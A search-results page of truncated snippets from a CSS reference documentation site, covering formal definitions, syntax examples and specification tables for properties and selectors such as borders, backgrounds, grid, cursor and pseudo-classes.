... formal definition initial valueas each of the properties of the shorthand:-webkit-text-stroke-width: 0-webkit-text-stroke-color: currentcolorapplies toall elementsinheritedyescomputed valueas each of the properties of the shorthand:-webkit-text-stroke-width: absolute <length>-webkit-text-stroke-color: computed coloranimation typeas each of the properties of the shorthand:-webkit-text-stroke-width: discrete-webkit-text-stroke-color: a color formal syntax <length> | <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples adding a red text stroke html <p id="example">the stroke of this text is red.</p> css #example { font-size: 3em; margin: 0; -webkit-text-stroke: 2px red; } result specifications specification status comment compatibility standardthe definition of '-webkit-text-stroke' in that specification.
...And 2 more matches
::after (:after) - CSS: Cascading Style Sheets
WebCSS::after
er, span[data-descr]:focus::after { content: attr(data-descr); position: absolute; left: 0; top: 24px; min-width: 200px; border: 1px #aaaaaa solid; border-radius: 10px; background-color: #ffffcc; padding: 12px; color: #000000; font-size: 14px; z-index: 1; } result specifications specification status comment css pseudo-elements level 4the definition of '::after' in that specification.
... css animationsthe definition of 'animations on pseudo-element properties' in that specification.
... selectors level 3the definition of '::after' in that specification.
...And 2 more matches
:focus - CSS: Cascading Style Sheets
WebCSS:focus
quick tip: never remove css outlines specifications specification status comment html living standardthe definition of ':focus' in that specification.
... selectors level 4the definition of ':focus' in that specification.
... selectors level 3the definition of ':focus' in that specification.
...And 2 more matches
:hover - CSS: Cascading Style Sheets
WebCSS:hover
specifications specification comment feedback html living standardthe definition of ':hover' in that specification.
... whatwg html github issues selectors level 4the definition of ':hover' in that specification.
... css working group drafts github issues selectors level 3the definition of ':hover' in that specification.
...And 2 more matches
:target - CSS: Cascading Style Sheets
WebCSS:target
this technique relies on the ability of anchor links to point to elements that are initially hidden on the page.
...ound-color: black; border-radius: 50%; color: white; content: "×"; cursor: pointer; } /* lightbox overlay */ .lightbox .close::before { left: 0; top: 0; width: 100%; height: 100%; position: fixed; background-color: rgba(0,0,0,.7); content: ""; cursor: default; } result specifications specification status comment html living standardthe definition of ':target' in that specification.
... selectors level 4the definition of ':target' in that specification.
...And 2 more matches
system - CSS: Cascading Style Sheets
fixed defines a finite set of symbols are specified.
...this system is useful in cases where the counter values are finite.
... formal definition related at-rule@counter-styleinitial valuesymboliccomputed valueas specified formal syntax cyclic | numeric | alphabetic | symbolic | additive | [ fixed <integer>?
...And 2 more matches
font-display - CSS: Cascading Style Sheets
block gives the font face a short block period and an infinite swap period.
... swap gives the font face an extremely small block period and an infinite swap period.
... formal definition related at-rule@font-faceinitial valueautocomputed valueas specified formal syntax [ auto | block | swap | fallback | optional ] examples specifying fallback font-display @font-face { font-family: examplefont; src: url(/path/to/fonts/examplefont.woff) format('woff'), url(/path/to/fonts/examplefont.eot) format('eot'); font-weight: 400; font-style: normal; font-display: fal...
...And 2 more matches
CSS Images - CSS: Cascading Style Sheets
specifications specification status comment css images module level 4 working draft added image-resolution, conic-gradient(), and image() css images module level 3 candidate recommendation added image-orientation, image-rendering, object-fit and object-position compatibility standardthe definition of 'css gradients' in that specification.
... living standard standardizes the -webkit prefixed gradient value functions css values and units module level 3the definition of '<url>' in that specification.
... candidate recommendation css level 2 (revision 1)the definition of '<uri>' in that specification.
...And 2 more matches
Class selectors - CSS: Cascading Style Sheets
d; text-shadow: 4px 4px 3px #77f; } html <p class="red">this paragraph has red text.</p> <p class="red yellow-bg">this paragraph has red text and a yellow background.</p> <p class="red fancy">this paragraph has red text and "fancy" styling.</p> <p>this is just a regular paragraph.</p> result specifications specification status comment selectors level 4the definition of 'class selectors' in that specification.
... working draft no changes selectors level 3the definition of 'class selectors' in that specification.
... recommendation css level 2 (revision 1)the definition of 'child selectors' in that specification.
...And 2 more matches
Descendant combinator - CSS: Cascading Style Sheets
t-style-type: disc; } li li { list-style-type: circle; } html <ul> <li> <div>item 1</div> <ul> <li>subitem a</li> <li>subitem b</li> </ul> </li> <li> <div>item 2</div> <ul> <li>subitem a</li> <li>subitem b</li> </ul> </li> </ul> result specifications specification status comment selectors level 4the definition of 'descendant combinator' in that specification.
... working draft selectors level 3the definition of 'descendant combinator' in that specification.
... recommendation css level 2 (revision 1)the definition of 'descendant selectors' in that specification.
...And 2 more matches
ID selectors - CSS: Cascading Style Sheets
ly (but not specificity-wise), this is equivalent to the following attribute selector: [id=id_value] { style properties } examples css #identified { background-color: skyblue; } html <div id="identified">this div has a special id on it!</div> <div>this is just a regular div.</div> result specifications specification status comment selectors level 4the definition of 'id selectors' in that specification.
... working draft selectors level 3the definition of 'id selectors' in that specification.
... recommendation css level 2 (revision 1)the definition of 'id selectors' in that specification.
...And 2 more matches
Specificity - CSS: Cascading Style Sheets
specifications specification status comment selectors level 4the definition of 'calculating a selector's specificity' in that specification.
... selectors level 3the definition of 'calculating a selector's specificity' in that specification.
... css level 2 (revision 1)the definition of 'calculating a selector's specificity' in that specification.
...And 2 more matches
Type selectors - CSS: Cascading Style Sheets
*/ a { color: red; } syntax element { style properties } examples css span { background-color: skyblue; } html <span>here's a span with some text.</span> <p>here's a p with some text.</p> <span>here's a span with more text.</span> result specifications specification status comment selectors level 4the definition of 'type (tag name) selector' in that specification.
... working draft no changes selectors level 3the definition of 'type selectors' in that specification.
... recommendation no changes css level 2 (revision 1)the definition of 'type selectors' in that specification.
...And 2 more matches
align-content - CSS: Cascading Style Sheets
ems evenly items have equal space around them */ align-content: stretch; /* distribute items evenly stretch 'auto'-sized items to fit the container */ /* overflow alignment */ align-content: safe center; align-content: unsafe center; /* global values */ align-content: inherit; align-content: initial; align-content: unset; values start the items are packed flush to each other against the start edge of the alignment container in the cross axis.
... formal definition initial valuenormalapplies tomulti-line flex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax normal | <baseline-position> | <content-distribution> | <overflow-position>?
...id('display'); var container = document.getelementbyid('container'); values.addeventlistener('change', function (evt) { container.style.aligncontent = evt.target.value; }); display.addeventlistener('change', function (evt) { container.classname = evt.target.value; }); result specifications specification status comment css box alignment module level 3the definition of 'align-content' in that specification.
...And 2 more matches
animation-iteration-count - CSS: Cascading Style Sheets
syntax /* keyword value */ animation-iteration-count: infinite; /* <number> values */ animation-iteration-count: 3; animation-iteration-count: 2.4; /* multiple values */ animation-iteration-count: 2, 0, infinite; the animation-iteration-count property is specified as one or more comma-separated values.
... values infinite the animation will repeat forever.
... formal definition initial value1applies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <single-animation-iteration-count>#where <single-animation-iteration-count> = infinite | <number> examples see css animations for examples.
...And 2 more matches
animation-name - CSS: Cascading Style Sheets
syntax /* single animation */ animation-name: none; animation-name: test_05; animation-name: -specific; animation-name: sliding-vertically; /* multiple animations */ animation-name: test1, animation4; animation-name: none, -moz-specific, sliding; /* global values */ animation-name: initial animation-name: inherit animation-name: unset values none a special keyword denoting no keyframes.
...furthermore, the identifier can't be none, unset, initial, or inherit.
... formal definition initial valuenoneapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ none | <keyframes-name> ]#where <keyframes-name> = <custom-ident> | <string> examples see css animations for examples.
...And 2 more matches
background-attachment - CSS: Cascading Style Sheets
syntax /* keyword values */ background-attachment: scroll; background-attachment: fixed; background-attachment: local; /* global values */ background-attachment: inherit; background-attachment: initial; background-attachment: unset; the background-attachment property is specified as one of the keyword values from the list below.
...(it is effectively attached to the element's border.) formal definition initial valuescrollapplies toall elements.
...</p> css p { background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/startransparent.gif"); background-attachment: fixed, scroll; background-repeat: no-repeat, repeat-y; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-attachment' in that specification.
...And 2 more matches
background-image - CSS: Cascading Style Sheets
mdn understanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | w3c understanding wcag 2.0 formal definition initial valuenoneapplies toall elements.
...lademos.org/files/6457/mdn_logo_only_color.png"); } .catsandstars { background-image: url("https://mdn.mozillademos.org/files/11991/startransparent.gif"), url("https://mdn.mozillademos.org/files/7693/catfront.png"); background-color: transparent; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-image' in that specification.
... css level 2 (revision 1)the definition of 'background-image' in that specification.
...And 2 more matches
background-position-x - CSS: Cascading Style Sheets
the background-position-x css property sets the initial horizontal position for each background image.
... right; /* <percentage> values */ background-position-x: 25%; /* <length> values */ background-position-x: 0px; background-position-x: 1cm; background-position-x: 8em; /* side-relative values */ background-position-x: right 3px; background-position-x: left 25%; /* multiple values */ background-position-x: 0px, center; /* global values */ background-position-x: inherit; background-position-x: initial; background-position-x: unset; the background-position-x property is specified as one or more values, separated by commas.
... formal definition initial valueleftapplies toall elementsinheritednopercentagesrefer to width of background positioning area minus height of background imagecomputed valuea list, each item consisting of: an offset given as a combination of an absolute length and a percentage, plus an origin keywordanimation typediscrete formal syntax [ center | [ [ left | right | x-start | x-end ]?
...And 2 more matches
background-position-y - CSS: Cascading Style Sheets
the background-position-y css property sets the initial vertical position for each background image.
...tom; /* <percentage> values */ background-position-y: 25%; /* <length> values */ background-position-y: 0px; background-position-y: 1cm; background-position-y: 8em; /* side-relative values */ background-position-y: bottom 3px; background-position-y: bottom 10%; /* multiple values */ background-position-y: 0px, center; /* global values */ background-position-y: inherit; background-position-y: initial; background-position-y: unset; the background-position-y property is specified as one or more values, separated by commas.
... formal definition initial valuetopapplies toall elementsinheritednopercentagesrefer to height of background positioning area minus height of background imagecomputed valuea list, each item consisting of: an offset given as a combination of an absolute length and a percentage, plus an origin keywordanimation typediscrete formal syntax [ center | [ [ top | bottom | y-start | y-end ]?
...And 2 more matches
background - CSS: Cascading Style Sheets
mdn understanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | w3c understanding wcag 2.0 formal definition initial valueas each of the properties of the shorthand:background-image: nonebackground-position: 0% 0%background-size: auto autobackground-repeat: repeatbackground-origin: padding-boxbackground-clip: border-boxbackground-attachment: scrollbackground-color: transparentapplies toall elements.
..."topbanner"> starry sky<br/> twinkle twinkle<br/> starry sky </p> <p class="warning">here is a paragraph<p> css .warning { background: pink; } .topbanner { background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #99f repeat-y fixed; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background' in that specification.
... css level 2 (revision 1)the definition of 'background' in that specification.
...And 2 more matches
border-bottom-color - CSS: Cascading Style Sheets
syntax /* <color> values */ border-bottom-color: red; border-bottom-color: #ffbb00; border-bottom-color: rgb(255, 0, 0); border-bottom-color: hsla(100%, 50%, 25%, 0.75); border-bottom-color: currentcolor; border-bottom-color: transparent; /* global values */ border-bottom-color: inherit; border-bottom-color: initial; border-bottom-color: unset; the border-bottom-color property is specified as a single value.
... formal definition initial valuecurrentcolorapplies toall elements.
... note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-bottom-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom-color' in that specification.
...And 2 more matches
border-bottom-style - CSS: Cascading Style Sheets
syntax /* keyword values */ border-bottom-style: none; border-bottom-style: hidden; border-bottom-style: dotted; border-bottom-style: dashed; border-bottom-style: solid; border-bottom-style: double; border-bottom-style: groove; border-bottom-style: ridge; border-bottom-style: inset; border-bottom-style: outset; /* global values */ border-bottom-style: inherit; border-bottom-style: initial; border-bottom-style: unset; the border-bottom-style property is specified as a single keyword chosen from those available for the border-style property.
... formal definition initial valuenoneapplies toall elements.
...-bottom-style: dotted;} .b4 {border-bottom-style: dashed;} .b5 {border-bottom-style: solid;} .b6 {border-bottom-style: double;} .b7 {border-bottom-style: groove;} .b8 {border-bottom-style: ridge;} .b9 {border-bottom-style: inset;} .b10 {border-bottom-style: outset;} result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom-style' in that specification.
...And 2 more matches
border-bottom - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:border-bottom-width: mediumborder-bottom-style: noneborder-bottom-color: currentcolorapplies toall elements.
...</div> css div { border-bottom: 4px dashed blue; background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom' in that specification.
... css level 2 (revision 1)the definition of 'border-bottom' in that specification.
...And 2 more matches
border-left-color - CSS: Cascading Style Sheets
syntax /* <color> values */ border-left-color: red; border-left-color: #ffbb00; border-left-color: rgb(255, 0, 0); border-left-color: hsla(100%, 50%, 25%, 0.75); border-left-color: currentcolor; border-left-color: transparent; /* global values */ border-left-color: inherit; border-left-color: initial; border-left-color: unset; the border-left-color property is specified as a single value.
... formal definition initial valuecurrentcolorapplies toall elements.
... note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-left-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-left-color' in that specification.
...And 2 more matches
border-left-style - CSS: Cascading Style Sheets
syntax /* keyword values */ border-left-style: none; border-left-style: hidden; border-left-style: dotted; border-left-style: dashed; border-left-style: solid; border-left-style: double; border-left-style: groove; border-left-style: ridge; border-left-style: inset; border-left-style: outset; /* global values */ border-left-style: inherit; border-left-style: initial; border-left-style: unset; the border-left-style property is specified as a single keyword chosen from those available for the border-style property.
... formal definition initial valuenoneapplies toall elements.
...en;} .b3 {border-left-style: dotted;} .b4 {border-left-style: dashed;} .b5 {border-left-style: solid;} .b6 {border-left-style: double;} .b7 {border-left-style: groove;} .b8 {border-left-style: ridge;} .b9 {border-left-style: inset;} .b10 {border-left-style: outset;} result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-left-style' in that specification.
...And 2 more matches
border-left - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:border-left-width: mediumborder-left-style: noneborder-left-color: currentcolorapplies toall elements.
...</div> css div { border-left: 4px dashed blue; background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css backgrounds and borders module level 3the definition of 'border-left' in that specification.
... css level 2 (revision 1)the definition of 'border-left' in that specification.
...And 2 more matches
border-radius - CSS: Cascading Style Sheets
note: as with any shorthand property, individual sub-properties cannot inherit, such as in border-radius:0 0 inherit inherit, which would partially override existing definitions.
...-and-bottom-right | top-right-and-bottom-left */ border-radius: 10px 5% / 20px 30px; /* (first radius values) / top-left | top-right-and-bottom-left | bottom-right */ border-radius: 10px 5px 2em / 20px 25px 30%; /* (first radius values) / top-left | top-right | bottom-right | bottom-left */ border-radius: 10px 5% / 20px 25em 30px 35em; /* global values */ border-radius: inherit; border-radius: initial; border-radius: unset; the border-radius property is specified as: one, two, three, or four <length> or <percentage> values.
...is equivalent to: */ border-top-left-radius: 4px 2px; border-top-right-radius: 3px 4px; border-bottom-right-radius: 6px 2px; border-bottom-left-radius: 3px 4px; formal definition initial valueas each of the properties of the shorthand:border-top-left-radius: 0border-top-right-radius: 0border-bottom-right-radius: 0border-bottom-left-radius: 0applies toall elements; but user agents are not required to apply to table and inline-table elements when border-collapse is collapse.
...And 2 more matches
border-right-color - CSS: Cascading Style Sheets
syntax /* <color> values */ border-right-color: red; border-right-color: #ffbb00; border-right-color: rgb(255, 0, 0); border-right-color: hsla(100%, 50%, 25%, 0.75); border-right-color: currentcolor; border-right-color: transparent; /* global values */ border-right-color: inherit; border-right-color: initial; border-right-color: unset; the border-right-color property is specified as a single value.
... formal definition initial valuecurrentcolorapplies toall elements.
... note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-right-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-right-color' in that specification.
...And 2 more matches
border-right-style - CSS: Cascading Style Sheets
syntax /* keyword values */ border-right-style: none; border-right-style: hidden; border-right-style: dotted; border-right-style: dashed; border-right-style: solid; border-right-style: double; border-right-style: groove; border-right-style: ridge; border-right-style: inset; border-right-style: outset; /* global values */ border-right-style: inherit; border-right-style: initial; border-right-style: unset; the border-right-style property is specified as a single keyword chosen from those available for the border-style property.
... formal definition initial valuenoneapplies toall elements.
... {border-right-style: dotted;} .b4 {border-right-style: dashed;} .b5 {border-right-style: solid;} .b6 {border-right-style: double;} .b7 {border-right-style: groove;} .b8 {border-right-style: ridge;} .b9 {border-right-style: inset;} .b10 {border-right-style: outset;} result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-right-style' in that specification.
...And 2 more matches
border-right - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:border-right-width: mediumborder-right-style: noneborder-right-color: currentcolorapplies toall elements.
...</div> css div { border-right: 4px dashed blue; background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css backgrounds and borders module level 3the definition of 'border-right' in that specification.
... css level 2 (revision 1)the definition of 'border-right' in that specification.
...And 2 more matches
border-top-color - CSS: Cascading Style Sheets
syntax /* <color> values */ border-top-color: red; border-top-color: #ffbb00; border-top-color: rgb(255, 0, 0); border-top-color: hsla(100%, 50%, 25%, 0.75); border-top-color: currentcolor; border-top-color: transparent; /* global values */ border-top-color: inherit; border-top-color: initial; border-top-color: unset; the border-top-color property is specified as a single value.
... formal definition initial valuecurrentcolorapplies toall elements.
... note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-top-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-color' in that specification.
...And 2 more matches
border-top - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:border-top-width: mediumborder-top-style: noneborder-top-color: currentcolorapplies toall elements.
...</div> css div { border-top: 4px dashed blue; background-color: gold; height: 100px; width: 100px; font-weight: bold; text-align: center; } results specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top' in that specification.
... css level 2 (revision 1)the definition of 'border-top' in that specification.
...And 2 more matches
bottom - CSS: Cascading Style Sheets
WebCSSbottom
syntax /* <length> values */ bottom: 3px; bottom: 2.4em; /* <percentage>s of the height of the containing block */ bottom: 10%; /* keyword value */ bottom: auto; /* global values */ bottom: inherit; bottom: initial; bottom: unset; values <length> a negative, null, or positive <length> that represents: for absolutely positioned elements, the distance to the bottom edge of the containing block.
... formal definition initial valueautoapplies topositioned elementsinheritednopercentagesrefer to the height of the containing blockcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples absolute and fixed positioning this ex...
... css p { font-size: 30px; line-height: 2em; } div { width: 48%; text-align: center; background: rgba(55,55,55,.2); border: 1px solid blue; } .absolute { position: absolute; bottom: 0; left: 0; } .fixed { position: fixed; bottom: 0; right: 0; } result specifications specification status comment css positioned layout module level 3the definition of 'bottom' in that specification.
...And 2 more matches
box-decoration-break - CSS: Cascading Style Sheets
the specified value will impact the appearance of the following properties: background border border-image box-shadow clip-path margin padding syntax /* keyword values */ box-decoration-break: slice; box-decoration-break: clone; /* global values */ box-decoration-break: initial; box-decoration-break: inherit; box-decoration-break: unset; the box-decoration-break property is specified as one of the keyword values listed below.
... values slice the element is initially rendered as if its box were not fragmented, after which the rendering for this hypothetical box is sliced into pieces for each line/column/page.
... formal definition initial valuesliceapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax slice | clone examples inline box fragments an inline element that contains line breaks styled with: .example { background: linear-gradient(to bottom right, yellow, green); box-shadow: 8px 8px 10px 0px deeppink, -5px -5px 5px 0px blue, 5px 5px 15px 0px yellow...
...And 2 more matches
caption-side - CSS: Cascading Style Sheets
syntax /* directional values */ caption-side: top; caption-side: bottom; /* warning: non-standard values */ caption-side: left; caption-side: right; caption-side: top-outside; caption-side: bottom-outside; /* global values */ caption-side: inherit; caption-side: initial; caption-side: unset; the caption-side property is specified as one of the keyword values listed below.
... formal definition initial valuetopapplies totable-caption elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax top | bottom | block-start | block-end | inline-start | inline-end examples setting captions above and below html <table class="top"> <caption>caption above the table</caption> <tr> <td>some data</td> <td>some more data</td> </tr> </table> <br> <tabl...
...ption below the table</caption> <tr> <td>some data</td> <td>some more data</td> </tr> </table> css .top caption { caption-side: top; } .bottom caption { caption-side: bottom; } table { border: 1px solid red; } td { border: 1px solid blue; } result specifications specification status comment css logical properties and values level 1the definition of 'caption-side' in that specification.
...And 2 more matches
clip - CSS: Cascading Style Sheets
WebCSSclip
/* keyword value */ clip: auto; /* <shape> values */ clip: rect(1px 10em 3rem 2ch); clip: rect(1px, 10em, 3rem, 2ch); /* global values */ clip: inherit; clip: initial; clip: unset; syntax note: where possible, authors are encouraged to use the newer clip-path property instead.
... formal definition initial valueautoapplies toabsolutely positioned elementsinheritednocomputed valueauto if specified as auto, otherwise a rectangle with four values, each of which is auto if specified as auto or the computed length otherwiseanimation typea rectangle formal syntax <shape> | autowhere <shape> = rect(<top>, <right>, <bottom>, <left>) examples clipping an image css .dotted-border { border...
...phic clipped to upper left"> <img id="middle" src="https://udn.realityripple.com/samples/8f/15174f3500.jpg" title="graphic clipped towards middle"> <img id="bottom-right" src="https://udn.realityripple.com/samples/8f/15174f3500.jpg" title="graphic clipped to bottom right"> </p> result specifications specification status comment css masking module level 1the definition of 'clip' in that specification.
...And 2 more matches
<color> - CSS: Cascading Style Sheets
by definition, red=0deg=360deg, with the other colors spread around the circle, so green=120deg, blue=240deg, etc.
... css color module level 3the definition of '<color>' in that specification.
... css level 2 (revision 1)the definition of '<color>' in that specification.
...And 2 more matches
column-fill - CSS: Cascading Style Sheets
syntax /* keyword values */ column-fill: auto; column-fill: balance; column-fill: balance-all; /* global values */ column-fill: inherit; column-fill: initial; column-fill: unset; the column-fill property is specified as one of the keyword values listed below.
... the initial value is balance so the content will be balanced across the columns.
... formal definition initial valuebalanceapplies tomulticol elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | balance | balance-all examples splitting text evenly across columns html <p class="content-box"> this is a bunch of text split into multiple columns.
...And 2 more matches
column-rule - CSS: Cascading Style Sheets
note: as with all shorthand properties, any individual value that is not specified is set to its corresponding initial value (possibly overriding values previously set using non-shorthand properties).
... syntax column-rule: dotted; column-rule: solid 8px; column-rule: solid blue; column-rule: thick inset blue; /* global values */ column-rule: inherit; column-rule: initial; column-rule: unset; the column-rule property is specified as one, two, or three of the values listed below, in any order.
... formal definition initial valueas each of the properties of the shorthand:column-rule-width: mediumcolumn-rule-style: nonecolumn-rule-color: currentcolorapplies tomulticol elementsinheritednocomputed valueas each of the properties of the shorthand:column-rule-color: computed colorcolumn-rule-style: as specifiedcolumn-rule-width: the absolute length; 0 if the column-rule-style is none or hiddenanimation typeas each of the properties of the shorthand:column-rule-color: a colorcolumn-rule-style: discretecolumn-rule-width: a length formal syntax ...
...And 2 more matches
column-width - CSS: Cascading Style Sheets
syntax /* keyword value */ column-width: auto; /* <length> values */ column-width: 60px; column-width: 15.5em; column-width: 3.3vw; /* global values */ column-width: inherit; column-width: initial; column-width: unset; the column-width property is specified as one of the values listed below.
... formal definition initial valueautoapplies toblock containers except table wrapper boxesinheritednocomputed valuethe absolute length, zero or largeranimation typea length formal syntax <length> | auto examples setting column width in pixels html <p class="content-box"> lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat vo...
...</p> css .content-box { column-width: 100px; } result specifications specification status comment css writing modes level 4the definition of 'column-width' in that specification.
...And 2 more matches
Computed value - CSS: Cascading Style Sheets
it is calculated from the specified value by: handling the special values inherit, initial, unset, and revert.
... doing the computation needed to reach the value described in the "computed value" line in the property's definition table.
... specifications specification status comment css level 2 (revision 2)the definition of 'computed-value' in that specification.
...And 2 more matches
content - CSS: Cascading Style Sheets
WebCSScontent
unter, "."); /* attr() value linked to the html attribute value */ content: attr(value string); /* language- and position-dependent keywords */ content: open-quote; content: close-quote; content: no-open-quote; content: no-close-quote; /* except for normal and none, several values can be used simultaneously */ content: open-quote chapter_counter; /* global values */ content: inherit; content: initial; content: unset; syntax values none the pseudo-element is not generated.
... accessibility support for css generated content – tink explanation of wcag, guideline 1.3 – mdn understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valuenormalapplies to::before and ::after pseudo-elementsinheritednocomputed valueon elements, always computes to normal.
... html <div id="replaced">mozilla</div> css #replaced { content: url("https://mdn.mozillademos.org/files/12668/mdn.svg"); } #replaced::after { /* will not show if element replacement is supported */ content: " (" attr(id) ")"; } result specifications specification status comment css generated content module level 3the definition of 'content' in that specification.
...And 2 more matches
counter-increment - CSS: Cascading Style Sheets
"my-counter" by 1 */ counter-increment: my-counter; /* decrement "my-counter" by 1 */ counter-increment: my-counter -1; /* increment "counter1" by 1, and decrement "counter2" by 4 */ counter-increment: counter1 counter2 -4; /* do not increment/decrement anything: used to override less specific rules */ counter-increment: none; /* global values */ counter-increment: inherit; counter-increment: initial; counter-increment: unset; the counter-increment property is specified as either one of the following: a <custom-ident> naming the counter, followed optionally by an <integer>.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ <custom-ident> <integer>?
... ]+ | none examples incrementing named counters h1 { counter-increment: chapter section 2 page; /* increases the value of the chapter and page counters by 1, and the section counter by 2 */ } specifications specification status comment css lists module level 3the definition of 'counter-increment' in that specification.
...And 2 more matches
counter-reset - CSS: Cascading Style Sheets
syntax /* set "my-counter" to 0 */ counter-reset: my-counter; /* set "my-counter" to -1 */ counter-reset: my-counter -1; /* set "counter1" to 1, and "counter2" to 4 */ counter-reset: counter1 1 counter2 4; /* cancel any reset that could have been set in less specific rules */ counter-reset: none; /* global values */ counter-reset: inherit; counter-reset: initial; counter-reset: unset; the counter-reset property is specified as either one of the following: a <custom-ident> naming the counter, followed optionally by an <integer>.
... formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ <custom-ident> <integer>?
... ]+ | none examples resetting named counters h1 { counter-reset: chapter section 1 page; /* sets the chapter and page counters to 0, and the section counter to 1 */ } specifications specification status comment css lists module level 3the definition of 'counter-reset' in that specification.
...And 2 more matches
cursor - CSS: Cascading Style Sheets
WebCSScursor
syntax /* keyword value */ cursor: pointer; cursor: auto; /* url, with a keyword fallback */ cursor: url(hand.cur), pointer; /* url and coordinates, with a keyword fallback */ cursor: url(cursor1.png) 4 12, auto; cursor: url(cursor2.png) 2 2, pointer; /* global values */ cursor: inherit; cursor: initial; cursor: unset; the cursor property is specified as zero or more <url> values, separated by commas, followed by a single mandatory keyword value.
... formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specified, but with <url> values made absoluteanimation typediscrete formal syntax [ [ <url> [ <x> <y> ]?
... | col-resize | row-resize | all-scroll | zoom-in | zoom-out | grab | grabbing ] ] examples setting cursor types .foo { cursor: crosshair; } .bar { cursor: zoom-in; } /* a fallback keyword value is required when using a url */ .baz { cursor: url("hyper.cur"), auto; } specifications specification status comment css basic user interface module level 3the definition of 'cursor' in that specification.
...And 2 more matches
<dimension> - CSS: Cascading Style Sheets
WebCSSdimension
specifications specification status comment css values and units module level 4the definition of '<dimension>' in that specification.
... editor's draft adds cap, ic, lh, rlh, vi, vb css values and units module level 3the definition of '<dimension>' in that specification.
... candidate recommendation adds ch, rem, vw, vw, vmin, vmax, q css level 2 (revision 1)the definition of '<dimension>' in that specification.
...And 2 more matches
gap (grid-gap) - CSS: Cascading Style Sheets
WebCSSgap
css grid layout initially defined the grid-gap property.
...e <length> value */ gap: 20px; gap: 1em; gap: 3vmin; gap: 0.5cm; /* one <percentage> value */ gap: 16%; gap: 100%; /* two <length> values */ gap: 20px 10px; gap: 1em 0.5em; gap: 3vmin 2vmax; gap: 0.5cm 2mm; /* one or two <percentage> values */ gap: 16% 100%; gap: 21px 82%; /* calc() values */ gap: calc(10% + 20px); gap: calc(20px + 10%) calc(10% - 5px); /* global values */ gap: inherit; gap: initial; gap: unset; this property is specified as a value for <'row-gap'> followed optionally by a value for <'column-gap'>.
... formal definition initial valueas each of the properties of the shorthand:row-gap: normalcolumn-gap: normalapplies tomulti-column elements, flex containers, grid containersinheritednocomputed valueas each of the properties of the shorthand:row-gap: as specified, with <length>s made absolute, and normal computing to zero except on multi-column elementscolumn-gap: as specified, with <length>s made absolute, and normal computing to zero except on multi-c...
...And 2 more matches
grid-auto-columns - CSS: Cascading Style Sheets
track-size values */ grid-auto-columns: min-content max-content auto; grid-auto-columns: 100px 150px 390px; grid-auto-columns: 10% 33.3%; grid-auto-columns: 0.5fr 3fr 1fr; grid-auto-columns: minmax(100px, auto) minmax(max-content, 2fr) minmax(20%, 80vmax); grid-auto-columns: 100px minmax(100px, auto) 10% 0.5fr fit-content(400px); /* global values */ grid-auto-columns: inherit; grid-auto-columns: initial; grid-auto-columns: unset; values <length> is a non-negative length.
...if the block size of the grid container is indefinite, the percentage value is treated like auto.
... formal definition initial valueautoapplies togrid containersinheritednopercentagesrefer to corresponding dimension of the content areacomputed valuethe percentage as specified or the absolute lengthanimation typediscrete formal syntax <track-size>+where <track-size> = <track-breadth> | minmax( <inflexible-breadth> , <track-breadth> ) | fit-content( [ <length> | <percentage> ] )where <track-breadth> = <length...
...And 2 more matches
grid-auto-rows - CSS: Cascading Style Sheets
